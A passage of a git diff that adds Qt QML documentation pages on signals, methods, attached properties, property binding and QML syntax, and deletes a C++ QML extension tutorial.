notified through a \e {signal handler} whenever it a particular signal is emitted. A signal handler is declared with the syntax \e on<Signal> where \e <Signal> is the name of the signal, with the first letter capitalized. The signal handler must be declared within the definition of the object that emits the signal, and the handler should contain the block of JavaScript code to be executed when the signal handler is invoked. + +For example, the \e onClicked signal handler below is declared within the \l MouseArea object definition, and is invoked when the \l MouseArea is clicked, causing a console message to be printed: + +\qml +import QtQuick 2.0 + +Item { + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onClicked: { + console.log("Click!") + } + } +} +\endqml + + +\section3 Property change signal handlers + +QML types also provide built-in \e {property change signals} that are emitted whenever a property value changes. Signal handlers for these take the syntax form \e on<Property>Changed where \e <Property> is the name of the property, with the first letter capitalized. For example, although the \l TextInput type documentation does not document a \c textChanged signal, this signal is implicitly available through the fact that \l TextInput has a \l {TextInput::text}{text} property and so it is possible to write an \c onTextChanged signal handler to be called whenever this property changes: + +\qml +import QtQuick 2.0 + +TextInput { + text: "Change this!" + + onTextChanged: console.log("Text has changed to:", text) +} +\endqml + + +\section2 Custom signals + +Signals provide a way to notify other objects when an event has occurred. For example, the \l MouseArea has a \c clicked signal to notify other objects that the mouse has been clicked within the area. + +The syntax for defining a new signal is: + +\code +signal <name>[([<type> <parameter name>[, ...]])] +\endcode + +Attempting to declare two signals or methods with the same name in the same type block is an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) + +Here are three examples of signal declarations: + +\qml +Item { + signal clicked + signal hovered() + signal actionPerformed(string action, var actionResult) +} +\endqml + +If the signal has no parameters, the "()" brackets are optional. If parameters are used, the parameter types must be declared, as for the \c string and \c var arguments for the \c actionPerformed signal above. The allowed parameter types are the same as those listed under \l {custom property types} on this page. + +Once a signal is added to an object definition, it can automatically be connected to using an appropriately named signal handler as described in the \l {signal handlers} section earlier on this page. The signal handlers for connecting to the three signals in the above example would be \c onClicked, \c onHovered and \c onActionPerformed. + +To emit a signal, invoke it as a method. Any relevant signal handlers will be invoked when the signal is emitted, and handlers can use the defined signal argument names to access the respective arguments. For example, if a \c SquareButton.qml file was defined as follows, with signals \c activated and \c deactivated: + +\qml +// SquareButton.qml +Rectangle { + id: root + + signal activated(real xPosition, real yPosition) + signal deactivated + + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onPressed: root.activated(mouse.x, mouse.y) + onRelased: root.deactivated() + } +} +\endqml + +These signals could be received by any \c SquareButton objects in another QML file in the same directory: + +\qml +// myapplication.qml +SquareButton { + onActivated: console.log("Activated at " + xPosition + "," + yPosition) + onDeactivated: console.log("Deactivated!") +} +\endqml + +See the \l {Signal and Handler Event System} for more details on use of signals. + + +\section2 Custom methods + +Methods can be added to a QML type in order to define standalone, reusable blocks of JavaScript code. + +These methods can be invoked either internally or by external objects. + +The syntax for defining a method is: + +\code + function <name>([<parameter name>[, ...]]) { <body> } +\endcode + +Unlike signals, method parameter types do not have to be declared as they default to the \c var type. + +Attempting to declare two methods or signals with the same name in the same type block is an error. However, a new method may reuse the name of an existing method on the type. (This should be done with caution, as the existing method may be hidden and become inaccessible.) + +Below is a \l Rectangle with a \c calculateHeight() method that is called when assigning the \c height value: + +\qml +import QtQuick 2.0 +Rectangle { + id: rect + + function calculateHeight() { + return rect.width / 2; + } + + width: 100 + height: calculateHeight() +} +\endqml + +If the method has parameters, they are accessible by name within the method. Below, when the \l MouseArea is clicked it invokes the \c moveTo() method which can then refer to the received \c newX and \c newY parameters to reposition the text: + +\qml +import QtQuick 2.0 + +Item { + width: 200; height: 200 + + MouseArea { + anchors.fill: parent + onClicked: label.moveTo(mouse.x, mouse.y) + } + + Text { + id: label + + function moveTo(newX, newY) { + label.x = newX; + label.y = newY; + } + + text: "Move me!" + } +} +\endqml + +A method can be connected to a signal so that it is automatically invoked whenever the signal is emitted. See \l {Signal and Handler Event System} for more details. + + +\section2 Attached properties and attached signal handlers + +\e {Attached properties} and \e {attached signal handlers} are mechanisms that enable objects to be annotated with extra properties or signal handlers that are otherwise unavailable to the object. In particular, they allow objects to access properties or signals that are specifically relevant to the individual object. + +A QML type implementation may choose to create an \e {attaching type} with particular properties and signals. Instances of this type can then be created and \e attached to specific objects at run time, allowing those objects to access the properties and signals of the attaching type. These are accessed by prefixing the properties and respective signal handlers with the name of the attaching type. + +For example, the \l ListView type has an attached property \l ListView.isCurrentItem that is available to each delegate object in a ListView. This can be used by each individual delegate object to determine whether it is the currently selected item in the view: + +\qml +import QtQuick 2.0 + +ListView { + width: 240; height: 320 + model: 3 + delegate: Rectangle { + width: 100; height: 30 + color: ListView.isCurrentItem ? "red" : "yellow" + } +} +\endqml + +In this case, the name of the \e {attaching type} is \c ListView and the property in question is \c isCurrentItem, hence the attached property is referred to as \c ListView.isCurrentItem. + +An attached signal handler is referred to in the same way. For example, the \c Component.isCompleted attached signal handler is commonly used to execute some JavaScript code when a component's creation process has been completed. In the example below, once the \l ListModel has been fully created, its \c Component.onCompleted signal handler will automatically be invoked to populate the model: + +\qml +import QtQuick 2.0 + +ListView { + width: 240; height: 320 + model: ListModel { + id: listModel + Component.onCompleted: { + for (var i=0; i<10; i++) + listModel.append({"Name": "Item " + i}) + } + } + delegate: Text { text: index } +} +\endqml + +Since the name of the \e {attaching type} is \c Component and that type has a \c completed signal, the attached signal handler is referred to as \c Component.isCompleted. + + +\section3 A note about accessing attached properties and signal handlers + +A common error is to assume that attached properties and signal handlers are directly accessible from the children of the object to which these attributes have been attached. This is not the case. The instance of the \e {attaching type} is only attached to specific objects, not to the object and all of its children. + +For example, below is a modified version of the earlier example involving attached properties. This time, the delegate is an \l Item and the colored \l Rectangle is a child of that item: + +\qml +import QtQuick 2.0 + +ListView { + width: 240; height: 320 + model: 3 + delegate: Item { + width: 100; height: 30 + + Rectangle { + width: 100; height: 30 + color: ListView.isCurrentItem ? "red" : "yellow" // WRONG! This won't work. + } + } +} +\endqml + +This does not work as expected because \c ListView.isCurrentItem is attached \e only to the root delegate object, and not its children. Since the \l Rectangle is a child of the delegate, rather than being the delegate itself, it cannot access the \c isCurrentItem attached property as \c ListView.isCurrentItem. So instead, the rectangle should access \c isCurrentItem through the root delegate: + +\qml +ListView { + //.... + delegate: Item { + id: delegateItem + width: 100; height: 30 + + Rectangle { + width: 100; height: 30 + color: delegateItem.ListView.isCurrentItem ? "red" : "yellow" // correct + } + } +} +\endqml + +Now \c delegateItem.ListView.isCurrentItem correctly refers to the \c isCurrentItem attached property of the delegate. + +*/ diff --git a/src/qml/doc/src/syntax/propertybinding.qdoc b/src/qml/doc/src/syntax/propertybinding.qdoc new file mode 100644 index 0000000000..418a080947 --- /dev/null +++ b/src/qml/doc/src/syntax/propertybinding.qdoc @@ -0,0 +1,185 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtqml-syntax-propertybinding.html +\title Property Binding +\brief binding object properties + +To make the fullest use of QML and its built-in support for implementing dynamic object behavioral changes, most QML objects will use \e {property binding}. This is a core feature of QML that allows objects to automatically update their properties in response to changing attributes in other objects or the occurence of some external event. + +When an object's property is assigned a value, it can either be assigned a static value, or \e bound to a JavaScript expression. In the first case, the property's value will not change unless a new value is assigned to the property. In the latter case, a \e {property binding} is created and the property's value is automatically updated by the QML engine whenever the value of the evaluated expression changes. + + +\section1 Overview + +To create a property binding, a property is assigned an expression that evaluates to the desired value. At its simplest, an expression may simply be a reference to another object's property. Take the following example, where the blue \l Rectangle's \c height is bound to the height of its parent: + +\qml +Rectangle { + width: 200; height: 200 + + Rectangle { + width: 100; height: parent.height + color: "blue" + } +} +\endqml + +Whenever the \c height of the parent item changes, the \c height of the blue rectangle will update to be of the same value. + +The binding expression can be any valid JavaScript expression. For example, the above code could be modified so that the height of the rectangle is always one-third of the height of its parent: + +\qml +Rectangle { + width: 200; height: 200 + + Rectangle { + width: 100; height: parent.height / 3 + color: "blue" + } +} +\endqml + +###TODO have .gif here that demonstrates the changes? + +Whenever the value of \c parent.height changes, the QML engine will re-evaluate the above expression and assign the blue rectangle's \c width property with the appropriate updated value. + + +QML uses a standards compliant JavaScript engine, so any valid JavaScript expression or statement can be used in a property binding. Bindings can access object properties, call methods and use built-in JavaScript objects such as \c Date and \c Math. Here is an example with various valid bindings: + +\qml +Column { + width: 200 + height: 200 + + Rectangle { + width: Math.max(bottomRect.width, parent.width/2) + height: (parent.height / 3) + 10 + color: "yellow" + + TextInput { + id: myTextInput + text: "Hello QML!" + } + } + + Rectangle { + id: bottomRect + width: 100 + height: 50 + color: myTextInput.text.length <= 10 ? "red" : "blue" + } +} +\endqml + +###TODO have .gif here that demonstrates the changes? + +While syntactically bindings can be of arbitrary complexity, if a binding starts to become overly complex - such as involving multiple lines, or imperative loops - it may be better to refactor the component entirely, or at least factor the binding out into a separate function. + + +\keyword qml-javascript-assignment +\section1 Creating property bindings from JavaScript + +Once a property has been bound to an expression, the property is set to be automatically updated as necessary. However, be aware that if the property is later assigned a static value from a JavaScript statement, this will remove the binding. + +For example, the \c height of the \l Rectangle below is initially bound to be twice its \c width. However, when the space key is pressed, the \c height value is changed to be three times its \c width. At this point, the \c height is assigned the currently evaluated result of \c width*3 and \e {the height will no longer be automatically updated whenever the width changes}. The assignment of the static value removes the binding. + +\qml +import QtQuick 2.0 + +Rectangle { + width: 100 + height: width * 2 + + focus: true + Keys.onSpacePressed: { + height = width * 3 + } +} +\endqml + +If the intention is to remove the binding, then this is not a problem. However if the intention is to create a new binding of \c width*3 then the property must be assigned a Qt.binding() value instead. This is done by passing a function to Qt.binding() that returns the desired result: + +\qml +import QtQuick 2.0 + +Rectangle { + width: 100 + height: width * 2 + + focus: true + Keys.onSpacePressed: { + height = Qt.binding(function() { return width * 3 }) + } +} +\endqml + +Now when the space key is pressed, a new binding of \c width*3 is assigned, instead of simply removing the initial binding. + + +\section2 Using \c this with property binding + +When creating a property binding from JavaScript, QML allows the use of the \c +this keyword to refer to the object to which the property binding will be +assigned. This allows one to explicitly refer to a property within an object +when there may be ambiguity about the exact property that should be used for the +binding. + +For example, the \c Component.onCompleted handler below is defined within the +scope of the \l Item, and references to \c width within this scope would refer +to the \l Item's width, rather than that of the \l Rectangle. To bind the \l +Rectangle's \c height to its own \c width, the function passed to Qt.binding() +needs to explicitly refer to \c this.width rather than just \c width. + +\qml +Item { + width: 500 + height: 500 + + Rectangle { + id: rect + width: 100 + color: "yellow" + } + + Component.onCompleted: { + rect.height = Qt.binding(function() { return this.width * 2 }) + console.log("rect.height = " + rect.height) // prints 200, not 1000 + } +} +\endqml + +In this case, the function could also have referred to \c rect.width rather than +\c this.width. + +Note that the value of \c this is not defined outside of its use in property binding. +See \l {QML JavaScript Restrictions} for details. + + +*/ + diff --git a/src/qml/doc/src/syntax/signals.qdoc b/src/qml/doc/src/syntax/signals.qdoc new file mode 100644 index 0000000000..8d3df556a3 --- /dev/null +++ b/src/qml/doc/src/syntax/signals.qdoc @@ -0,0 +1,297 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtqml-syntax-signals.html +\ingroup qml-features + +\title Signal and Handler Event System +\brief the event sytem in QML + +Application and user interface components need to communicate with each other. For +example, a button needs to know that the user has clicked on it. +The button may change colors to indicate its state or perform some logic. As +well, application needs to know whether the user is clicking the button. The +application may need to relay this clicking event to other applications. + +QML has a signal and handler mechanism, where the \e signal is the event +and the signal is responded to through a \e {signal handler}. When a signal +is emitted, the corresponding signal handler is invoked. Placing logic such as scripts or other +operations in the handler allows the component to respond to the event. + +\keyword qml-signals-and-handlers +\section1 Receiving signals with signal handlers + +To receive a notification when a particular signal is emitted for a particular object, the object definition should declare a signal handler named \e on<Signal> where \e <Signal> is the name of the signal, with the first letter capitalized. The signal handler should contain the JavaScript code to be executed when the signal handler is invoked. + +For example, the \l MouseArea type from the \c QtQuick module has a \c clicked signal that is emitted whenever the mouse is clicked within the area. Since the signal name is \c clicked, the signal handler for receiving this signal should be named \c onClicked. In the example below, whenever the mouse area is clicked, the \c onClicked handler is invoked, applying a random color to the \l Rectangle: + +\qml +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onClicked: { + rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1); + } + } +} +\endqml + +Looking at the \l MouseArea documentation, you can see the \l {MouseArea::onClicked}{clicked} signal is emitted with a parameter named \c mouse which is a \l MouseEvent object that contains further details about the mouse click event. This name can be referred to in our \c onClicked handler to access this parameter. For example, the \l MouseEvent type has \c x and \c y coordinates that allows us to print out the exact location where the mouse was clicked: + +\qml +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onClicked: { + rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1); + + // access 'mouse' parameter + console.log("Clicked mouse at", mouse.x, mouse.y) + } + } +} +\endqml + + +\section2 Property change signal handlers + +A signal is automatically emitted when the value of a QML property changes. This type of signal is a \e {property change signal} and signal handlers for these signals are written in the form \e on<Property>Changed where \e <Property> is the name of the property, with the first letter capitalized. + +For example, the \l MouseArea type has a \l {MouseArea::pressed}{pressed} property. To receive a notification whenever this property changes, write a signal handler named \c onPressedChanged: + +\qml +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onPressedChanged: { + console.log("Mouse area is pressed?", pressed) + } + } +} +\endqml + +Even though the \l MouseArea documentation does not document a signal handler named \c onPressedChanged, the signal is implicitly provided by the fact that the \c pressed property exists. + + +\section2 Using the Connections type + +In some cases it may be desirable to access a signal outside of the object that emits it. For these purposes, the QtQuick module provides the \l Connections type for connecting to signals of arbitrary objects. A \l Connections object can receive any signal from its specified \l {Connection::target}{target}. + +For example, the \c onClicked handler in the earlier example could have been received by the root \l Rectangle instead, by placing the \c onClicked handler in a \l Connections object that has its \l {Connection::target}{target} set to the \l MouseArea: + +\qml +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + + MouseArea { + id: mouseArea + anchors.fill: parent + } + + Connections { + target: mouseArea + onClicked: { + rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1); + } + } +} +\endqml + + +\section2 Attached signal handlers + +An \l {attached signal handler} is a signal handler that receives a signal from an \e {attaching type} rather than the object within which the handler is declared. + +For example, \c \l {Component::isCompleted}{Component.isCompleted} is an attached signal handler. This handler is often used to execute some JavaScript code when its creation process has been completed, as in the example below: + +\qml +import QtQuick 2.0 + +Rectangle { + width: 200; height: 200 + color: Qt.rgba(Qt.random(), Qt.random(), Qt.random(), 1) + + Component.onCompleted: { + console.log("The rectangle's color is", color) + } +} +\endqml + +The \c onCompleted handler is not responding to some \c completed signal from the \l Rectangle type. Instead, an object of the \c Component \e {attaching type} with a \c completed signal has automatically been \e attached to the \l Rectangle object by the QML engine, and the engine emits this signal when the object is fully created, thus triggering the \c Component.onCompleted signal handler. + +Attached signal handlers allow objects to be notified of particular signals that are significant to each individual object. If there was no \c Component.onCompleted attached signal handler, for example, then an object could not receive this notification without registering for some special signal from some special object. The \e {attached signal handler} mechanism enables objects to receive particular signals without these extra processes. + +See \l {Attached properties and attached signal handlers} for more information on attached signal handlers. + + +\section1 Adding signals to custom QML types + +Signals can be added to custom QML types through the \c signal keyword. + +The syntax for defining a new signal is: + +\tt{signal <name>[([<type> <parameter name>[, ...]])]} + +A signal is emitted by invoking the signal as a method. + +For example, say the code below is defined in a file named \c SquareButton.qml. The root \l Rectangle object has an \c activated signal. When the child \l MouseArea is clicked, it emits the parent's \c activated signal with the coordinates of the mouse click: + +\qml +// SquareButton.qml +Rectangle { + id: root + + signal activated(real xPosition, real yPosition) + + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onPressed: root.activated(mouse.x, mouse.y) + } +} +\endqml + +Now any objects of the \c SquareButton can connect to the \c activated signal using an \c onActivated signal handler: + +\qml +// myapplication.qml +SquareButton { + onActivated: console.log("Activated at " + xPosition + "," + yPosition) +} +\endqml + +See \l {Custom signals} for more details on writing signals for custom QML types. + + +\keyword qml-connect-signals-to-method +\section1 Connecting Signals to Methods and Signals + +Signal objects have a \c connect() method to a connect a signal either to a +method or another signal. When a signal is connected to a method, the method is +automatically invoked whenever the signal is emitted. This mechanism enables a +signal to be received by a method instead of a signal handler. + +Below, the \c messageReceived signal is connected to three methods using the \c connect() method: + +\qml +Rectangle { + id: relay + + signal messageReceived(string person, string notice) + + Component.onCompleted: { + relay.messageReceived.connect(sendToPost) + relay.messageReceived.connect(sendToTelegraph) + relay.messageReceived.connect(sendToEmail) + relay.messageReceived("Tom", "Happy Birthday") + } + + function sendToPost(person, notice) { + console.log("Sending to post: " + person + ", " + notice) + } + function sendToTelegraph(person, notice) { + console.log("Sending to telegraph: " + person + ", " + notice) + } + function sendToEmail(person, notice) { + console.log("Sending to email: " + person + ", " + notice) + } +} +\endqml + +In many cases it is sufficient to receive signals through signal handlers rather than using the connect() function. However, using the \c connect method allows a signal to be received by multiple methods as shown above, which would not be possible with signal handlers as they must be uniquely named. Also, the \c connect method is useful when connecting signals to \l {Dynamic QML Object Creation from JavaScript}{dynamically created objects}. + +There is a corresponding \c disconnect() method for removing connected signals: + +\qml +Rectangle { + id: relay + //... + + function removeTelegraphSignal() { + relay.messageReceived.disconnect(sendToTelegraph) + } +} +\endqml + +\section3 Signal to Signal Connect + +By connecting signals to other signals, the \c connect() method can form different +signal chains. + +\qml +Rectangle { + id: forwarder + width: 100; height: 100 + + signal send() + onSend: console.log("Send clicked") + + MouseArea { + id: mousearea + anchors.fill: parent + onClicked: console.log("MouseArea clicked") + } + + Component.onCompleted: { + mousearea.clicked.connect(send) + } +} +\endqml + + +Whenever the \l MouseArea \c clicked signal is emitted, the \c send +signal will automatically be emitted as well. + +\code +output: + MouseArea clicked + Send clicked +\endcode + + +*/ + diff --git a/src/qml/doc/src/syntax/topic.qdoc b/src/qml/doc/src/syntax/topic.qdoc new file mode 100644 index 0000000000..5d42408020 --- /dev/null +++ b/src/qml/doc/src/syntax/topic.qdoc @@ -0,0 +1,154 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-syntax-topic.html +\title Syntax of the QML Language +\brief Description of the QML language and its syntax + + +QML is a declarative language that enables objects to be defined in terms of their attributes +and how they relate and respond to changes in other objects. In contrast to imperative code, where changes in attributes and behavior are expressed through a series of statements that are processed step by step, the declarative QML syntax integrates attribute and behavioral changes directly into the definitions of individual objects. + +QML source code is generally loaded by the engine through QML \e documents, which are +standalone documents of QML code. These can be used to define \l {QML Object Types}{QML object types} that can then be reused throughout an application. + + +\section1 Structure Of A QML Document + +A QML document is a self contained piece of QML source code that consists of two parts: + + \list + \li Its \e import statements + \li A single root object declaration + \endlist + +A document is generally placed into a \c .qml file that is then loaded by the engine; if +the name of the \c .qml file begins with a capital letter, the file is recognized by the engine as a definition of a \l {QML Object Types}{QML object type}. Additionally, a +document may loaded from a text string (rather than a file) using Qt.createQmlObject(). + + +\section2 Import statements + +A QML document may begin with one or more \c import statements. + +An import can be any one of: + +\list +\li a versioned namespace into which types have been registered (e.g., by a plugin) +\li a versioned namespace which provides a module API +\li a relative directory which contains type-definitions as QML documents +\li a JavaScript file +\endlist + +Module API imports and JavaScript file imports must be qualified when +imported, so that the properties and methods they provide can be accessed. + +The generic form of the various imports are as follows: +\list +\li \tt{import Namespace VersionMajor.VersionMinor} +\li \tt{import Namespace VersionMajor.VersionMinor as ModuleApiIdentifier} +\li \tt{import "directory"} +\li \tt{import "file.js" as ScriptIdentifier} +\endlist + +Examples: +\list +\li \tt{import QtQuick 2.0} +\li \tt{import QtQuick.LocalStorage 2.0 as Database} +\li \tt{import "../privateComponents"} +\li \tt{import "somefile.js" as Script} +\endlist + +Please see the \l{qtqml-syntax-imports.html}{QML Documents - Imports} +documentation for in-depth information about QML imports. + + +\section2 The Root Object Declaration + +Following the import statements, a QML document should have a single root \l {qtqml-syntax-basics.html#object-declarations}{object declaration}. + + + +A QML file must only contain \b {a single root object definition}. The following is invalid and will generate an error: + +\code +// MyQmlFile.qml +import QtQuick 2.0 + +Rectangle { width: 200; height: 200; color: "red" } +Rectangle { width: 200; height: 200; color: "blue" } // invalid! +\endcode + +This is because a .qml file automatically defines a QML type, which encapsulates a \e single QML object definition. This is discussed further in \l {QML Object Types}. + + + +\section1 Object Declarations + + +\section2 Declaring an object and its attributes + + +\section2 Child Objects + + +\section2 Object Ownership Semantics + + + +\section1 QML Object Attributes + + +If an object definition only has a small number of properties, it can be written on a single line like this, with the properties separated by semi-colons: + +\qml +Rectangle { width: 200; height: 200; color: "red" } +\endqml + + + +\section3 Property Binding + +Properties may have a value defined at declaration, and if that value is +defined in terms of other properties or properties of other objects, it is +called a "binding". Such a binding may also be defined imperatively. See the +\l{Property Binding} +documentation for more information about defining values at declaration +and binding values to properties. + + +\section2 Methods, Signals And Signal Handlers + +Objects may have methods defined, allowing them to provide complex +functionality in a modular and maintainable fashion. An object definition may +also include signals and signal handlers, allowing complex event-driven +functionality to be implemented in QML. + +See the \l{Signal and Handler Event System}{Methods And Signals} +documentation for in-depth information about methods and signals. + +*/ diff --git a/src/qml/doc/src/tutorials/extending-tutorial.qdoc b/src/qml/doc/src/tutorials/extending-tutorial.qdoc deleted file mode 100644 index 31f3299479..0000000000 --- a/src/qml/doc/src/tutorials/extending-tutorial.qdoc +++ /dev/null @@ -1,498 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending-tutorial-index.html tutorial -\title Writing QML Extensions with C++ -\brief tutorial about extending QML with Qt C++ - -The Qt Declarative module provides a set of APIs for extending QML through -C++ extensions. You can write extensions to add your own QML types, extend existing -Qt types, or call C/C++ functions that are not accessible from ordinary QML code. - -This tutorial shows how to write a QML extension using C++ that includes -core QML features, including properties, signals and bindings. It also shows how -extensions can be deployed through plugins. - -You can find the source code for this tutorial in \c Qt's -examples/quick/tutorials/extending directory. - -Tutorial chapters: - -\list 1 -\li \l{examples/tutorials/extending/chapter1-basics}{Creating a New Type} -\li \l{examples/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals} -\li \l{examples/tutorials/extending/chapter3-bindings}{Property Binding} -\li \l{examples/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types} -\li \l{examples/tutorials/extending/chapter5-listproperties}{Using List Property Types} -\li \l{examples/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin} -\li \l{qml-extending-tutorial7.html}{In Summary} -\endlist - -*/ - -/*! -\title Chapter 1: Creating a New Type - -\example examples/tutorials/extending/chapter1-basics - -A common task when extending QML is to provide a new QML type that supports some - custom functionality beyond what is provided by the built-in \l {QML Elements}. -For example, this could be done to implement particular data models, or provide -elements with custom painting and drawing capabilities, or access system features -like network programming that are not accessible through built-in QML features. - -In this tutorial, we will show how to use the C++ classes in the Qt Declarative -module to extend QML. The end result will be a simple Pie Chart display implemented by -several custom QML types connected together through QML features like bindings and -signals, and made available to the QML runtime through a plugin. - -To begin with, let's create a new QML type called "PieChart" that has two properties: a name -and a color. We will make it available in a \l {Modules}{module} called "Charts", with -a module version of 1.0. - -We want this \c PieChart type to be usable from QML like this: - -\code - import Charts 1.0 - - PieChart { - width: 100; height: 100 - name: "A simple pie chart" - color: "red" - } -\endcode - -To do this, we need a C++ class that encapsulates this \c PieChart type and its two -properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system}, -this new class must: - -\list -\li Inherit from QObject -\li Declare its properties using the Q_PROPERTY macro -\endlist - -Here is our \c PieChart class, defined in \c piechart.h: - -\snippet examples/tutorials/extending/chapter1-basics/piechart.h 0 - -The class inherits from QQuickItem because we want to override -QQuickItem::paint() in order to draw. If the class just represented some -data type and was not an item that actually needed to be displayed, it could simply inherit -from QObject. Or, if we want to extend the functionality of an existing QObject-based -class, it could inherit from that class instead. - -The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro, -and overrides QQuickItem::paint(). The class implementation in \c piechart.cpp -simply sets and returns the \c m_name and \c m_color values as appropriate, and -implements \c paint() to draw a simple pie chart. It also turns off the -QGraphicsItem::ItemHasNoContents flag to enable painting: - -\snippet examples/tutorials/extending/chapter1-basics/piechart.cpp 0 -\dots 0 -\snippet examples/tutorials/extending/chapter1-basics/piechart.cpp 1 - -Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml -file creates a \c PieChart item and display the pie chart's details -using a standard QML \l Text item: - -\snippet examples/tutorials/extending/chapter1-basics/app.qml 0 - -Notice that although the color is specified as a string in QML, it is automatically -converted to a QColor object for the PieChart \c color property. Automatic conversions are -provided for various other \l {QML Basic Types}{basic types}; for example, a string -like "640x480" can be automatically converted to a QSize value. - -We'll also create a C++ application that uses a QQuickView to run and -display \c app.qml. The application must register the \c PieChart type -using the qmlRegisterType() function, to allow it to be used from QML. If -you don't register the type, \c app.qml won't be able to create a \c PieChart. - -Here is the application \c main.cpp: - -\snippet examples/tutorials/extending/chapter1-basics/main.cpp 0 - -This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts", -with a module version of 1.0. - -Lastly, we write a \c .pro project file that includes the files and the \c declarative library: - -\quotefile examples/tutorials/extending/chapter1-basics/chapter1-basics.pro - -Now we can build and run the application: - -\image extending-tutorial-chapter1.png - -Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory. - -At the moment, the \c app.qml is run from within a C++ application. -This may seem odd if you're used to running QML files with the \l {QML Viewer}. -Later on, we'll show how to create a plugin so that you can run \c app.qml using the -\l {QML Viewer} instead. - -*/ - - -/*! -\title Chapter 2: Connecting to C++ Methods and Signals - -\example examples/tutorials/extending/chapter2-methods - -Suppose we want \c PieChart to have a "clearChart()" method that erases the -chart and then emits a "chartCleared" signal. Our \c app.qml would be able -to call \c clearChart() and receive \c chartCleared() signals like this: - -\snippet examples/tutorials/extending/chapter2-methods/app.qml 0 - -\image extending-tutorial-chapter2.png - -To do this, we add a \c clearChart() method and a \c chartCleared() signal -to our C++ class: - -\snippet examples/tutorials/extending/chapter2-methods/piechart.h 0 -\dots -\snippet examples/tutorials/extending/chapter2-methods/piechart.h 1 -\dots -\snippet examples/tutorials/extending/chapter2-methods/piechart.h 2 -\dots -\snippet examples/tutorials/extending/chapter2-methods/piechart.h 3 - -The use of Q_INVOKABLE makes the \c clearChart() method available to the -Qt Meta-Object system, and in turn, to QML. Note that it could have -been declared as as a Qt slot instead of using Q_INVOKABLE, as -slots are also callable from QML. Both of these approaches are valid. - -The \c clearChart() method simply changes the color to Qt::transparent, -repaints the chart, then emits the \c chartCleared() signal: - -\snippet examples/tutorials/extending/chapter2-methods/piechart.cpp 0 - -Now when we run the application and click the window, the pie chart -disappears, and the application outputs: - -\code - The chart has been cleared -\endcode - -Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory. - -*/ - -/*! -\title Chapter 3: Adding Property Bindings - -\example examples/tutorials/extending/chapter3-bindings - -Property binding is a powerful feature of QML that allows values of different -elements to be synchronized automatically. It uses signals to notify and update -other elements' values when property values are changed. - -Let's enable property bindings for the \c color property. That means -if we have code like this: - -\snippet examples/tutorials/extending/chapter3-bindings/app.qml 0 - -\image extending-tutorial-chapter3.png - -The "color: chartA.color" statement binds the \c color value of -\c chartB to the \c color of \c chartA. -Whenever \c chartA's \c color value changes, \c chartB's \c color value -updates to the same value. When the window is clicked, the \c onClicked -handler in the MouseArea changes the color of \c chartA, thereby changing -both charts to the color blue. - -It's easy to enable property binding for the \c color property. -We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal -is emitted whenever the value changes. - -\snippet 